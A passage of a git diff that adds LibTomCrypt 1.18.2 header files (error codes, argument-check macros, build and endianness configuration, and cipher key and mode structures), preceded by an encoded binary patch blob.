z3Ae@F9G=*%`f$_=s-3W1#k|;BS5UyG+c0kF*S@Zt{1NwuP$<>(Q_T z5y=t?`QiBSqoy7+?*@2s2zWA@oJ3t|P#{wE?Up`~kc#n%J^ltKq`_p$gpV!gF8u91 zXo#|ljqqU+i`Eyy_7}!FSeVOps7p?2W_a z`zX`C2!pFc z;Y(GZcDNUHI>Q#y3hIdw6KPnKCsyC8h$EfiNbV$Uk4bihaHrHur1sQc7g&$eCaQD? zOSOkZne0+4iKULv5Lmu}9HN`0&P;vRR1;9!A#b2-ufa^^!m#;4aCb7Ndi#7B+{H^38zqkL`A&KHMM{hWa<;Ryks^k4ob0Gb3) z)FYDu2%xlg-PcU5Zy)o2hd?%-2$78v_lpRKv=@@$7%(wXIk9?wEp{Xn3csxkfg<=c zxG1_Q{S6jJvYR(FSjh3?iNx>_x^%xQb}Bn?WbkKa7{GT(G3d>DS7ze~Dj5Km7wlX8 z_!wNzi=WzhzDjUy3f%E9L!f2L>}Y)Uf1{2E{Y^mf0>`S@d~ zmS3WJA`SG8zG@c(nQthJz!~`xv3(Ifol5Ua>W?o+#1`@d7^$izw(Q5-I8pbPP`O`1qP>hA8MfDkIH0QT7Mrqu;vQZo!9B0yAaT(Bn^X&-;kBSApYwflG7I z_D?3<`+=)?!mG*yau#o;tZfJCMjJ6r_TfXhB7$|wUZ=PwhJf4;N=6;*`T=~TYz~#) z_K&aT(&=2|QGhoF|3IT6rBGeM(DxvOl2fhL%3ujfrdFS~VQba;;_pFB@+$ zLUC&SU4)PSFSU}v1xW`dxWLj%$5{USM~hR~aC}vFJh*Brl}7i0x=|;~FUH163e|=r z(ax5;4we934}2Vrf*wRqDVz&8Pm&KvBz zgy8DQgHN(J8Z_sNUL^S102lyTF;w2ihf_D%2MHRqFnDshr3q#Dy0hln2lxY^G>$!M zDqer1JL@AKD~J2AL>xQ(dz0DRwrRH^vdTKif9t!22a@opEdoT3K{_{jq*DoV)iY>m zpx+pEUttL-<-(^6BCcS+uJuW9t4gpe`shT=dm3)2FqjF;Ep`BYzJB1YbG;9c-arJQ zwA_!%X@Y?2COSsQD0Uh{q;cu=MLEqsz?X~Nv+43T#?}=+)82+-!f2;H1qVa1@HMzH zKe4bc>?+#?$Gy?k*TA0`GEp$X_FiPXMPoA%EeWP{S?GboFmhs^syC-8XV^rS{_ow; z?j!uN12_lT1)kYKIVg%FjH5IL6Vp#b~STdb6k^j7M%UHQQfnqrQ15GeG-PN#s8i%UPf(!*u z$jN#81qQQlAq4#-ob63ve3a~?KmSI2Nu#xbAYQ2hFAuxv?B73NaE1>pBV>}wESUB`TKxSIK z!b#d**s{eX^_U+7tHV5)O3*K|2WT1akXRplHxv(jmskK_WVI~h-Ee*`oixHAUw8$H zj-^<0vI$c1ac}h=Iu=NUf4|$?jUoLnL2bIW&aU!rcp#wJT3Iu#ZSCl!t4WA)>dik> zXTf=Opr(ab(#fFK1p5RG`;Hnj3V`wE@>g&UEy9HoN%=8gpnnRK-UChLf!~X9fuLG^ zwRU`3Ic+|uH4U5;y=3&`eO#b5iAob6Za6`0I~xO1qQKH8xWGOR1UCHJrf9Avz@|CM zhoIeSIv^E-c9wM7R2+h`$y5@8*+1x5{+vJoM~I!nhCQ)57Y&on2bj0f52Pv;n5gQ- zKXql7KNLeG&$di|b>D3d6ek0~j_9|!&%a68bjq#C0L4x6hPlAf^g3j2^pmJ&6$w>x zo`v*I<&$Nn6FfoREYLT)Fg~KHS>N(QIxk60Tdi-r(=>`*3f;0Xr!gIu?T^3r#eG`A z6*ytX*a~~K(beN!EDo^nP5G}tFgu2l(O$kid!RL)P}BsBwRBXhL)m;U3ClD+I$XFv zPZ)?Dl}4H;S^m8kj4dDKPqY2PBvtc>9wBV})8O|9*s)Y*ET2&?jKGtwnu%{cqrdZG zxv&zSGfdu9^gQW+(pxa`VTTv_?-&YGu)URh`hLo#gF*TxnthAcI;?#LJ1d(Glou>c zOvjR5Ad4^97^mnBb3w2%J>*w-mlo2&f_w?CjA6D|Z1Vz^tq);el+61j%actj=s*x` z1pA@Z&7JXbFofN3Ajv9F3F!^g7xjE`lIBP-6~69L_jNOXo)$xFC=Xh^i5^5yJS3Kl zZl(<$vDR7M`)=>11A+JTv8F8^YUZ~jk7xE*hA3Nk75h13-)F|ylEN`+sOv_hb?Twa`W=&`$p)l}=@P7B$ zp2-pYp`5gGk_VpCzyy*Vg*kYpaC!t3TAjcR(F4)}x|l%X0~0g6-hQ-#0#5{*Mf;Mj z`k2h>bFC5hA)Pd|(=i4hZ2*ZH@|htf66e@fjpvx1`F?UO=(R^3y^iRH3zQs9pc4`& zC`R_AVY0dS2gRn&T+8bSdJKV}KwTyW2LmYTyOA(bAf^+oMx8b%=ByeD%!9y0KM0su zV2DOB;UkWafcU+Cm-IG3oLWc9YtZ?tXSR_fF-n;fkvK4NR9rflfS1mySwxQ)j|NSgM|;O)>3;+pdWS99KInxN4Ln&0pjL5#3Cn5BG$cWI8kxInT{yNUomex zd;Gu=5Q=(^2hA|uTre>3bTrnoqb4Lyx82$N3~2IQ9Ze1$j0wcjWDW7KQP<4Qkke+s zMa*d63x;75i9_Og^IwhGAmJHUf}kE+?uyAI4E*s<+PfBjUeoI6_1HK}B4JGQU8A+c z0*JRD>`}dLo`6XtPN+*wyLB}NX5CcdJQ0_P@eDRj7@qT@0R{@gv6sk`hP(cY0J-ez zSkGuO1_n^n7kHA4=6r43<8&bY0U~NWhBqdWI4Xt+G9##ajP5~S6=kY1F`2~ok)(~} z`DcKf)cy^WIm#E4N$jPD;iJkf15d9`^t=0EG6|!9@xZes3n0ghg}YwRG`=VhlSo#8 zKPmH{N*(3Rg3ceB;DUshK*BV>{>Ive)CMo=X(v>~HDQ=UoGL?c=o=tARJujd0J#p> zkzZVrG>OXFN#HN&chb2S6s`kl+`o5Ac|z?#rD`XX$C*tp74Qhn#tZP-_ytTh02GVH zUqCb#kMc_-u< zAhCOH+JAf6MqqA%pg{e_Djkzam}ZPe7_t>F37s-9iG&5zv5R8@sdmt9a355!-Lf%> zn1uySR2aMSKaxpM~BAu1m+b|L)0P$~~1f!CNNhEX_UZ*() zzkwE3XI?tA6_bc*zM3@pcyQ|?>MqNmI?PTxF`2}n*!R}cCRB#=sgvPm?8Rgf&W0b( zWyL9O2ff^nNyN!;I8hN&NCV^$+%(01ZEmhuu3{Vvpa?Vf2D7Aze<3Ko)XChFj$p_| z0g2sZOQ0Epx&*u~^GFdUlQ=B?zC9Fk9GIrCfI(*qqf?knLKkhkYi$8+kYdb(D^+Bh za3$a5Mx0eh96xm65VxTgLB67Gc*Vla-JQekvN zj=t|Gt%t)3_Tz|@YfEti>mp07)!{7_b*=sR`~dv#VUceN=g$E{jD|p}{R#F%%o}At zFA#Ff;bM^>o>;jYH3@#wpLdfIpw0NPMBbB6%~B{wt%f{v;sk3;O9zWEHuN}V;u0^l ze_NObRaQJGv$hB1#Oz(FkVxGzQ~e?#e8m=Wu>CpfVn*^<_$b65h5B<&%z!PJnHcWUgCB(`WytnG zQ;ZKWua7HaP-|<_oMYXh>u~B4jwhhE+LucZ4CWeDVhx=T9Y2KBV%3jpZ9Z!8H4c% z@>=bwAtz=TPYH{<>zoYKO833*uC;KF{cjaHQ128aAgZ%Z2KscV``&nPf|c+Gb&7ty zTi35WsZ-dK7;0(fKMxJT|KNgNIaF6mdQ=}0)c)3uZ&ZMt^he9vX`_u26!pRonflJ{ ze>Idfz7Zn=ZWKf}hE>1^#9DKJxs`>LgN1c(iSzkaKi*B`=Ho0+|Lz2&Ms-O0_qJ6+ zqOP_elWDF-mlEn^CkFxwbqUMH9qK1ZUBZ^cPF;lSa$7(h&xIt2?wCCZPtnw`J`hS2 zN@^>oaq0iOp{Dy=C;wTtR05OAWkoNS;!G~979_i6-)SpB2}LY(YLb=QNr#`=7YzA) zur;K>O<*w2=e@tEfyLBv{V@nt<)KVklcHzJpq`ytIjIS%C>sH zjJZ^Ll5wyeJ?15ZfXf=G$nE5h>!Dk}AIa;R&*BKG@g(dk*D6mmgOv6I9ul=dbP$t9 zz!r!^=J4tX33+h-pHVJ&jEOSLcJ`2{yb`3ub|mv6OEWxRnGxCS5! z*qy0|uYAQ$fV~(veelou;h|7+yit)eLuqMe{87}n05;j?aAv1BaNYIhvZjpwi2Mnz zUGT{=`4KZ<58`8d)R9KX48~%A6}d}t-g68H1_543#UF_qR&I!F9u4I~8^}Obi2Tzl z2+*>UTzR!zvwGf}-s4{Yd`}(-Zz7A&Z>;9vxL2U6Z@0&ul=6J{BHB7@x&=4iMxQLY?_*rWt4oi?pW zJZZSc)UziC!RB{}W3;?}v`q<$dR2m~#Ca-GHJs5EI(h@-_w!eMR00x^mu-F5?&#|V zCkHyfRtvP4I-+G%zsE?mXG5YrE5-=tA5ir6fua|!Mg8@Zpx_32I1GeQiz+T}(7o?R zhASa)#Q0~a+Uw6e??6?B#%Ofs#IzkjgBZi-1aSDl6CsU>EM~I8Sh&%hH~#q&1{A&a zU@x>9-8-I!S$+J+k3)L`y(WGAJ@Do!wRiewoy+62C(^(~EG|bVVDbfGUJws1%)sC3 z;M}y>%@oq~Hu!^H_R!v&1}ZsJ1;r^o?cB9MZ*PTBmN88UjZYqBaT}V>E`r1{qfX+O z9HWc`-#l;c32UK$a128anX?n$DExW6*;$ezY==CB6jbxC4pM+*1!VSF zA;6a}O%6lPIZh3YXwFbkdkwNz|Hn9271b_{YOLTtF!agFnGDA43>BnvnG-X+{vRL0 zkBFpN*|^!@iC6i?u%U3TDg2R5MwCoBG5%AH6IF%T76^Q~)f5b!9rFoVKVgOnW5+u6|0tA0!QDTNZxah1zJJyizdGk|J0$3MjMV=9EO`P9o7 z;z)u3*_JW2CAFl^fj_7qJ6Q@Da1jnX6dBCr6F|Os>{${G0BZMy%*801e2CFuD}+=F z!t#T+DEUJAFLH_}Y*{vuMB{f~g&bmMZp#WKEUJzP_QS_46J5R836xf8DE}FA`*tN5>Xesox1

    Y^X@FQ n`RzEko?QC8tdJ(lI!ZH}I#d(T$W`U4&em38=v;$K?HK +#include +#include +#include +#include +#include +#include +#include + +/* use configuration data */ +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* version */ +#define CRYPT 0x0118 +#define SCRYPT "1.18.2" + +/* max size of either a cipher/hash block or symmetric key [largest of the two] */ +#define MAXBLOCKSIZE 128 + +#ifndef TAB_SIZE +/* descriptor table size */ +#define TAB_SIZE 32 +#endif + +/* error codes [will be expanded in future releases] */ +enum { + CRYPT_OK=0, /* Result OK */ + CRYPT_ERROR, /* Generic Error */ + CRYPT_NOP, /* Not a failure but no operation was performed */ + + CRYPT_INVALID_KEYSIZE, /* Invalid key size given */ + CRYPT_INVALID_ROUNDS, /* Invalid number of rounds */ + CRYPT_FAIL_TESTVECTOR, /* Algorithm failed test vectors */ + + CRYPT_BUFFER_OVERFLOW, /* Not enough space for output */ + CRYPT_INVALID_PACKET, /* Invalid input packet given */ + + CRYPT_INVALID_PRNGSIZE, /* Invalid number of bits for a PRNG */ + CRYPT_ERROR_READPRNG, /* Could not read enough from PRNG */ + + CRYPT_INVALID_CIPHER, /* Invalid cipher specified */ + CRYPT_INVALID_HASH, /* Invalid hash specified */ + CRYPT_INVALID_PRNG, /* Invalid PRNG specified */ + + CRYPT_MEM, /* Out of memory */ + + CRYPT_PK_TYPE_MISMATCH, /* Not equivalent types of PK keys */ + CRYPT_PK_NOT_PRIVATE, /* Requires a private PK key */ + + CRYPT_INVALID_ARG, /* Generic invalid argument */ + CRYPT_FILE_NOTFOUND, /* File Not Found */ + + CRYPT_PK_INVALID_TYPE, /* Invalid type of PK key */ + + CRYPT_OVERFLOW, /* An overflow of a value was detected/prevented */ + + CRYPT_UNUSED1, /* UNUSED1 */ + + CRYPT_INPUT_TOO_LONG, /* The input was longer than expected. */ + + CRYPT_PK_INVALID_SIZE, /* Invalid size input for PK parameters */ + + CRYPT_INVALID_PRIME_SIZE,/* Invalid size of prime requested */ + CRYPT_PK_INVALID_PADDING, /* Invalid padding on input */ + + CRYPT_HASH_OVERFLOW /* Hash applied to too many bits */ +}; + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef __cplusplus + } +#endif + +#endif /* TOMCRYPT_H_ */ + + +/* ref: HEAD -> master, tag: v1.18.2 */ +/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */ +/* commit time: 2018-07-01 22:49:01 +0200 */ diff --git a/include/tomcrypt_argchk.h b/include/tomcrypt_argchk.h new file mode 100644 index 0000000..c946712 --- /dev/null +++ b/include/tomcrypt_argchk.h @@ -0,0 +1,53 @@ +/* LibTomCrypt, modular cryptographic library -- Tom St Denis + * + * LibTomCrypt is a library that provides various cryptographic + * algorithms in a highly modular and flexible manner. + * + * The library is free for all purposes without any express + * guarantee it works. + */ + +/* Defines the LTC_ARGCHK macro used within the library */ +/* ARGTYPE is defined in tomcrypt_cfg.h */ +#if ARGTYPE == 0 + +#include + +/* this is the default LibTomCrypt macro */ +#if defined(__clang__) || defined(__GNUC_MINOR__) +#define NORETURN __attribute__ ((noreturn)) +#else +#define NORETURN +#endif + +void crypt_argchk(const char *v, const char *s, int d) NORETURN; +#define LTC_ARGCHK(x) do { if (!(x)) { crypt_argchk(#x, __FILE__, __LINE__); } }while(0) +#define LTC_ARGCHKVD(x) do { if (!(x)) { crypt_argchk(#x, __FILE__, __LINE__); } }while(0) + +#elif ARGTYPE == 1 + +/* fatal type of error */ +#define LTC_ARGCHK(x) assert((x)) +#define LTC_ARGCHKVD(x) LTC_ARGCHK(x) + +#elif ARGTYPE == 2 + +#define LTC_ARGCHK(x) if (!(x)) { fprintf(stderr, "\nwarning: ARGCHK failed at %s:%d\n", __FILE__, __LINE__); } +#define LTC_ARGCHKVD(x) LTC_ARGCHK(x) + +#elif ARGTYPE == 3 + +#define LTC_ARGCHK(x) +#define LTC_ARGCHKVD(x) LTC_ARGCHK(x) + +#elif ARGTYPE == 4 + +#define LTC_ARGCHK(x) if (!(x)) return CRYPT_INVALID_ARG; +#define LTC_ARGCHKVD(x) if (!(x)) return; + +#endif + + +/* ref: HEAD -> master, tag: v1.18.2 */ +/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */ +/* commit time: 2018-07-01 22:49:01 +0200 */ diff --git a/include/tomcrypt_cfg.h b/include/tomcrypt_cfg.h new file mode 100644 index 0000000..ce0dd5f --- /dev/null +++ b/include/tomcrypt_cfg.h @@ -0,0 +1,283 @@ +/* LibTomCrypt, modular cryptographic library -- Tom St Denis + * + * LibTomCrypt is a library that provides various cryptographic + * algorithms in a highly modular and flexible manner. + * + * The library is free for all purposes without any express + * guarantee it works. + */ + +/* This is the build config file. + * + * With this you can setup what to inlcude/exclude automatically during any build. Just comment + * out the line that #define's the word for the thing you want to remove. phew! + */ + +#ifndef TOMCRYPT_CFG_H +#define TOMCRYPT_CFG_H + +#if defined(_WIN32) || defined(_MSC_VER) + #define LTC_CALL __cdecl +#elif !defined(LTC_CALL) + #define LTC_CALL +#endif + +#ifndef LTC_EXPORT + #define LTC_EXPORT +#endif + +/* certain platforms use macros for these, making the prototypes broken */ +#ifndef LTC_NO_PROTOTYPES + +/* you can change how memory allocation works ... */ +LTC_EXPORT void * LTC_CALL XMALLOC(size_t n); +LTC_EXPORT void * LTC_CALL XREALLOC(void *p, size_t n); +LTC_EXPORT void * LTC_CALL XCALLOC(size_t n, size_t s); +LTC_EXPORT void LTC_CALL XFREE(void *p); + +LTC_EXPORT void LTC_CALL XQSORT(void *base, size_t nmemb, size_t size, int(*compar)(const void *, const void *)); + + +/* change the clock function too */ +LTC_EXPORT clock_t LTC_CALL XCLOCK(void); + +/* various other functions */ +LTC_EXPORT void * LTC_CALL XMEMCPY(void *dest, const void *src, size_t n); +LTC_EXPORT int LTC_CALL XMEMCMP(const void *s1, const void *s2, size_t n); +LTC_EXPORT void * LTC_CALL XMEMSET(void *s, int c, size_t n); + +LTC_EXPORT int LTC_CALL XSTRCMP(const char *s1, const char *s2); + +#endif + +/* some compilers do not like "inline" (or maybe "static inline"), namely: HP cc, IBM xlc */ +#if defined(__HP_cc) || defined(__xlc__) + #define LTC_INLINE +#elif defined(_MSC_VER) + #define LTC_INLINE __inline +#else + #define LTC_INLINE inline +#endif + +/* type of argument checking, 0=default, 1=fatal and 2=error+continue, 3=nothing */ +#ifndef ARGTYPE + #define ARGTYPE 0 +#endif + +#undef LTC_ENCRYPT +#define LTC_ENCRYPT 0 +#undef LTC_DECRYPT +#define LTC_DECRYPT 1 + +/* Controls endianess and size of registers. Leave uncommented to get platform neutral [slower] code + * + * Note: in order to use the optimized macros your platform must support unaligned 32 and 64 bit read/writes. + * The x86 platforms allow this but some others [ARM for instance] do not. On those platforms you **MUST** + * use the portable [slower] macros. + */ +/* detect x86/i386 32bit */ +#if defined(__i386__) || defined(__i386) || defined(_M_IX86) + #define ENDIAN_LITTLE + #define ENDIAN_32BITWORD + #define LTC_FAST +#endif + +/* detect amd64/x64 */ +#if defined(__x86_64__) || defined(_M_X64) || defined(_M_AMD64) + #define ENDIAN_LITTLE + #define ENDIAN_64BITWORD + #define LTC_FAST +#endif + +/* detect PPC32 */ +#if defined(LTC_PPC32) + #define ENDIAN_BIG + #define ENDIAN_32BITWORD + #define LTC_FAST +#endif + +/* detects MIPS R5900 processors (PS2) */ +#if (defined(__R5900) || defined(R5900) || defined(__R5900__)) && (defined(_mips) || defined(__mips__) || defined(mips)) + #define ENDIAN_64BITWORD + #if defined(_MIPSEB) || defined(__MIPSEB) || defined(__MIPSEB__) + #define ENDIAN_BIG + #endif + #define ENDIAN_LITTLE + #endif +#endif + +/* detect AIX */ +#if defined(_AIX) && defined(_BIG_ENDIAN) + #define ENDIAN_BIG + #if defined(__LP64__) || defined(_ARCH_PPC64) + #define ENDIAN_64BITWORD + #else + #define ENDIAN_32BITWORD + #endif +#endif + +/* detect HP-UX */ +#if defined(__hpux) || defined(__hpux__) + #define ENDIAN_BIG + #if defined(__ia64) || defined(__ia64__) || defined(__LP64__) + #define ENDIAN_64BITWORD + #else + #define ENDIAN_32BITWORD + #endif +#endif + +/* detect Apple OS X */ +#if defined(__APPLE__) && defined(__MACH__) + #if defined(__LITTLE_ENDIAN__) || defined(__x86_64__) + #define ENDIAN_LITTLE + #else + #define ENDIAN_BIG + #endif + #if defined(__LP64__) || defined(__x86_64__) + #define ENDIAN_64BITWORD + #else + #define ENDIAN_32BITWORD + #endif +#endif + +/* detect SPARC and SPARC64 */ +#if defined(__sparc__) || defined(__sparc) + #define ENDIAN_BIG + #if defined(__arch64__) || defined(__sparcv9) || defined(__sparc_v9__) + #define ENDIAN_64BITWORD + #else + #define ENDIAN_32BITWORD + #endif +#endif + +/* detect IBM S390(x) */ +#if defined(__s390x__) || defined(__s390__) + #define ENDIAN_BIG + #if defined(__s390x__) + #define ENDIAN_64BITWORD + #else + #define ENDIAN_32BITWORD + #endif +#endif + +/* detect PPC64 */ +#if defined(__powerpc64__) || defined(__ppc64__) || defined(__PPC64__) + #define ENDIAN_64BITWORD + #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ + #define ENDIAN_BIG + #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ + #define ENDIAN_LITTLE + #endif + #define LTC_FAST +#endif + +/* endianness fallback */ +#if !defined(ENDIAN_BIG) && !defined(ENDIAN_LITTLE) + #if defined(_BYTE_ORDER) && _BYTE_ORDER == _BIG_ENDIAN || \ + defined(__BYTE_ORDER) && __BYTE_ORDER == __BIG_ENDIAN || \ + defined(__BYTE_ORDER__) && __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ || \ + defined(__BIG_ENDIAN__) || \ + defined(__ARMEB__) || defined(__THUMBEB__) || defined(__AARCH64EB__) || \ + defined(_MIPSEB) || defined(__MIPSEB) || defined(__MIPSEB__) + #define ENDIAN_BIG + #elif defined(_BYTE_ORDER) && _BYTE_ORDER == _LITTLE_ENDIAN || \ + defined(__BYTE_ORDER) && __BYTE_ORDER == __LITTLE_ENDIAN || \ + defined(__BYTE_ORDER__) && __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ || \ + defined(__LITTLE_ENDIAN__) || \ + defined(__ARMEL__) || defined(__THUMBEL__) || defined(__AARCH64EL__) || \ + defined(_MIPSEL) || defined(__MIPSEL) || defined(__MIPSEL__) + #define ENDIAN_LITTLE + #else + #error Cannot detect endianness + #endif +#endif + +/* ulong64: 64-bit data type */ +#ifdef _MSC_VER + #define CONST64(n) n ## ui64 + typedef unsigned __int64 ulong64; +#else + #define CONST64(n) n ## ULL + typedef unsigned long long ulong64; +#endif + +/* ulong32: "32-bit at least" data type */ +#if defined(__x86_64__) || defined(_M_X64) || defined(_M_AMD64) || \ + defined(__powerpc64__) || defined(__ppc64__) || defined(__PPC64__) || \ + defined(__s390x__) || defined(__arch64__) || defined(__aarch64__) || \ + defined(__sparcv9) || defined(__sparc_v9__) || defined(__sparc64__) || \ + defined(__ia64) || defined(__ia64__) || defined(__itanium__) || defined(_M_IA64) || \ + defined(__LP64__) || defined(_LP64) || defined(__64BIT__) + typedef unsigned ulong32; + #if !defined(ENDIAN_64BITWORD) && !defined(ENDIAN_32BITWORD) + #define ENDIAN_64BITWORD + #endif +#else + typedef unsigned long ulong32; + #if !defined(ENDIAN_64BITWORD) && !defined(ENDIAN_32BITWORD) + #define ENDIAN_32BITWORD + #endif +#endif + +#if defined(ENDIAN_64BITWORD) && !defined(_MSC_VER) +typedef unsigned long long ltc_mp_digit; +#else +typedef unsigned long ltc_mp_digit; +#endif + +/* No asm is a quick way to disable anything "not portable" */ +#ifdef LTC_NO_ASM + #define ENDIAN_NEUTRAL + #undef ENDIAN_32BITWORD + #undef ENDIAN_64BITWORD + #undef LTC_FAST + #define LTC_NO_ROLC + #define LTC_NO_BSWAP +#endif + +/* No LTC_FAST if: explicitly disabled OR non-gcc/non-clang compiler OR old gcc OR using -ansi -std=c99 */ +#if defined(LTC_NO_FAST) || (__GNUC__ < 4) || defined(__STRICT_ANSI__) + #undef LTC_FAST +#endif + +#ifdef LTC_FAST + #define LTC_FAST_TYPE_PTR_CAST(x) ((LTC_FAST_TYPE*)(void*)(x)) + #ifdef ENDIAN_64BITWORD + typedef ulong64 __attribute__((__may_alias__)) LTC_FAST_TYPE; + #else + typedef ulong32 __attribute__((__may_alias__)) LTC_FAST_TYPE; + #endif +#endif + +#if !defined(ENDIAN_NEUTRAL) && (defined(ENDIAN_BIG) || defined(ENDIAN_LITTLE)) && !(defined(ENDIAN_32BITWORD) || defined(ENDIAN_64BITWORD)) + #error You must specify a word size as well as endianess in tomcrypt_cfg.h +#endif + +#if !(defined(ENDIAN_BIG) || defined(ENDIAN_LITTLE)) + #define ENDIAN_NEUTRAL +#endif + +#if (defined(ENDIAN_32BITWORD) && defined(ENDIAN_64BITWORD)) + #error Cannot be 32 and 64 bit words... +#endif + +/* gcc 4.3 and up has a bswap builtin; detect it by gcc version. + * clang also supports the bswap builtin, and although clang pretends + * to be gcc (macro-wise, anyway), clang pretends to be a version + * prior to gcc 4.3, so we can't detect bswap that way. Instead, + * clang has a __has_builtin mechanism that can be used to check + * for builtins: + * http://clang.llvm.org/docs/LanguageExtensions.html#feature_check */ +#ifndef __has_builtin + #define __has_builtin(x) 0 +#endif +#if !defined(LTC_NO_BSWAP) && defined(__GNUC__) && \ + ((__GNUC__ * 100 + __GNUC_MINOR__ >= 403) || \ + (__has_builtin(__builtin_bswap32) && __has_builtin(__builtin_bswap64))) + #define LTC_HAVE_BSWAP_BUILTIN +#endif + + +/* ref: HEAD -> master, tag: v1.18.2 */ +/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */ +/* commit time: 2018-07-01 22:49:01 +0200 */ diff --git a/include/tomcrypt_cipher.h b/include/tomcrypt_cipher.h new file mode 100644 index 0000000..6f0c30b --- /dev/null +++ b/include/tomcrypt_cipher.h @@ -0,0 +1,1008 @@ +/* LibTomCrypt, modular cryptographic library -- Tom St Denis + * + * LibTomCrypt is a library that provides various cryptographic + * algorithms in a highly modular and flexible manner. + * + * The library is free for all purposes without any express + * guarantee it works. + */ + +/* ---- SYMMETRIC KEY STUFF ----- + * + * We put each of the ciphers scheduled keys in their own structs then we put all of + * the key formats in one union. This makes the function prototypes easier to use. + */ +#ifdef LTC_BLOWFISH +struct blowfish_key { + ulong32 S[4][256]; + ulong32 K[18]; +}; +#endif + +#ifdef LTC_RC5 +struct rc5_key { + int rounds; + ulong32 K[50]; +}; +#endif + +#ifdef LTC_RC6 +struct rc6_key { + ulong32 K[44]; +}; +#endif + +#ifdef LTC_SAFERP +struct saferp_key { + unsigned char K[33][16]; + long rounds; +}; +#endif + +#ifdef LTC_RIJNDAEL +struct rijndael_key { + ulong32 eK[60], dK[60]; + int Nr; +}; +#endif + +#ifdef LTC_KSEED +struct kseed_key { + ulong32 K[32], dK[32]; +}; +#endif + +#ifdef LTC_KASUMI +struct kasumi_key { + ulong32 KLi1[8], KLi2[8], + KOi1[8], KOi2[8], KOi3[8], + KIi1[8], KIi2[8], KIi3[8]; +}; +#endif + +#ifdef LTC_XTEA +struct xtea_key { + unsigned long A[32], B[32]; +}; +#endif + +#ifdef LTC_TWOFISH +#ifndef LTC_TWOFISH_SMALL + struct twofish_key { + ulong32 S[4][256], K[40]; + }; +#else + struct twofish_key { + ulong32 K[40]; + unsigned char S[32], start; + }; +#endif +#endif + +#ifdef LTC_SAFER +#define LTC_SAFER_K64_DEFAULT_NOF_ROUNDS 6 +#define LTC_SAFER_K128_DEFAULT_NOF_ROUNDS 10 +#define LTC_SAFER_SK64_DEFAULT_NOF_ROUNDS 8 +#define LTC_SAFER_SK128_DEFAULT_NOF_ROUNDS 10 +#define LTC_SAFER_MAX_NOF_ROUNDS 13 +#define LTC_SAFER_BLOCK_LEN 8 +#define LTC_SAFER_KEY_LEN (1 + LTC_SAFER_BLOCK_LEN * (1 + 2 * LTC_SAFER_MAX_NOF_ROUNDS)) +typedef unsigned char safer_block_t[LTC_SAFER_BLOCK_LEN]; +typedef unsigned char safer_key_t[LTC_SAFER_KEY_LEN]; +struct safer_key { safer_key_t key; }; +#endif + +#ifdef LTC_RC2 +struct rc2_key { unsigned xkey[64]; }; +#endif + +#ifdef LTC_DES +struct des_key { + ulong32 ek[32], dk[32]; +}; + +struct des3_key { + ulong32 ek[3][32], dk[3][32]; +}; +#endif + +#ifdef LTC_CAST5 +struct cast5_key { + ulong32 K[32], keylen; +}; +#endif + +#ifdef LTC_NOEKEON +struct noekeon_key { + ulong32 K[4], dK[4]; +}; +#endif + +#ifdef LTC_SKIPJACK +struct skipjack_key { + unsigned char key[10]; +}; +#endif + +#ifdef LTC_KHAZAD +struct khazad_key { + ulong64 roundKeyEnc[8 + 1]; + ulong64 roundKeyDec[8 + 1]; +}; +#endif + +#ifdef LTC_ANUBIS +struct anubis_key { + int keyBits; + int R; + ulong32 roundKeyEnc[18 + 1][4]; + ulong32 roundKeyDec[18 + 1][4]; +}; +#endif + +#ifdef LTC_MULTI2 +struct multi2_key { + int N; + ulong32 uk[8]; +}; +#endif + +#ifdef LTC_CAMELLIA +struct camellia_key { + int R; + ulong64 kw[4], k[24], kl[6]; +}; +#endif + +typedef union Symmetric_key { +#ifdef LTC_DES + struct des_key des; + struct des3_key des3; +#endif +#ifdef LTC_RC2 + struct rc2_key rc2; +#endif +#ifdef LTC_SAFER + struct safer_key safer; +#endif +#ifdef LTC_TWOFISH + struct twofish_key twofish; +#endif +#ifdef LTC_BLOWFISH + struct blowfish_key blowfish; +#endif +#ifdef LTC_RC5 + struct rc5_key rc5; +#endif +#ifdef LTC_RC6 + struct rc6_key rc6; +#endif +#ifdef LTC_SAFERP + struct saferp_key saferp; +#endif +#ifdef LTC_RIJNDAEL + struct rijndael_key rijndael; +#endif +#ifdef LTC_XTEA + struct xtea_key xtea; +#endif +#ifdef LTC_CAST5 + struct cast5_key cast5; +#endif +#ifdef LTC_NOEKEON + struct noekeon_key noekeon; +#endif +#ifdef LTC_SKIPJACK + struct skipjack_key skipjack; +#endif +#ifdef LTC_KHAZAD + struct khazad_key khazad; +#endif +#ifdef LTC_ANUBIS + struct anubis_key anubis; +#endif +#ifdef LTC_KSEED + struct kseed_key kseed; +#endif +#ifdef LTC_KASUMI + struct kasumi_key kasumi; +#endif +#ifdef LTC_MULTI2 + struct multi2_key multi2; +#endif +#ifdef LTC_CAMELLIA + struct camellia_key camellia; +#endif + void *data; +} symmetric_key; + +#ifdef LTC_ECB_MODE +/** A block cipher ECB structure */ +typedef struct { + /** The index of the cipher chosen */ + int cipher, + /** The block size of the given cipher */ + blocklen; + /** The scheduled key */ + symmetric_key key; +} symmetric_ECB; +#endif + +#ifdef LTC_CFB_MODE +/** A block cipher CFB structure */ +typedef struct { + /** The index of the cipher chosen */ + int cipher, + /** The block size of the given cipher */ + blocklen, + /** The padding offset */ + padlen; + /** The current IV */ + unsigned char IV[MAXBLOCKSIZE], + /** The pad used to encrypt/decrypt */ + pad[MAXBLOCKSIZE]; + /** The scheduled key */ + symmetric_key key; +} symmetric_CFB; +#endif + +#ifdef LTC_OFB_MODE +/** A block cipher OFB structure */ +typedef struct { + /** The index of the cipher chosen */ + int cipher, + /** The block size of the given cipher */ + blocklen, + /** The padding offset */ + padlen; + /** The current IV */ + unsigned char IV[MAXBLOCKSIZE]; + /** The scheduled key */ + symmetric_key key; +} symmetric_OFB; +#endif + +#ifdef LTC_CBC_MODE +/** A block cipher CBC structure */ +typedef struct { + /** The index of the cipher chosen */ + int cipher, + /** The block size of the given cipher */ + blocklen; + /** The current IV */ + unsigned char IV[MAXBLOCKSIZE]; + /** The scheduled key */ + symmetric_key key; +} symmetric_CBC; +#endif + + 